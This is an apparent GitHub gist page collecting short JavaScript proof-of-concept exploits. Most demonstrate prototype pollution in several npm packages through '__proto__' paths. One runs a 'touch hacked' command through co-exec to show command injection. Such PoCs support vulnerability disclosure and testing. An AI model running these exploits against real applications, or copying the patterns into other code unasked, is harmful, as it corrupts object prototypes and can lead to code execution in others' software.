This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const MoscBase = require('mosc'); | |
console.log({}.polluted) | |
var result = new MoscBase({}).parse_properties("__proto__", "polluted:Polluted!", {}, ""); | |
console.log({}.polluted) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const coexec = require('co-exec'); | |
coexec("touch hacked", {})(function(){}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const jimengio = require('@jimengio/safe-property'); | |
console.log({}.polluted2) | |
jimengio.safeSet2({}, "__proto__", "polluted2", "Polluted 2!"); | |
console.log({}.polluted2) | |
console.log({}.polluted3) | |
jimengio.safeSet3({}, "a", "__proto__", "polluted3", "Polluted 3!"); | |
console.log({}.polluted3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const sep = require('sep-prop'); | |
console.log({}.polluted); | |
sep.set({}, "__proto__/polluted", "Polluted!"); | |
console.log({}.polluted); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const expand = require('expand-object'); | |
console.log({}.polluted) | |
a = expand("__proto__.polluted:Polluted!"); | |
console.log({}.polluted) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const slashprop = require('slash-prop'); | |
console.log({}.polluted) | |
slashprop.set({}, "__proto__/polluted", "Polluted!"); | |
console.log({}.polluted) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const auger = require('object-auger'); | |
console.log({}.polluted) | |
auger.set({}, ["__proto__", "polluted"], "Polluted!") | |
console.log({}.polluted) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const minux = require('minux'); | |
console.log({}.__proto__) | |
minux("__proto__.polluted") | |
console.log({}.__proto__) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const set = require('set-from-path'); | |
console.log({}.polluted) | |
set.set("__proto__.polluted", "Polluted!", {}) | |
console.log({}.polluted) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const set = require('set-deep'); | |
console.log({}.polluted) | |
set("__proto__.polluted", {}, "Polluted!") | |
console.log({}.polluted) |
NewerOlder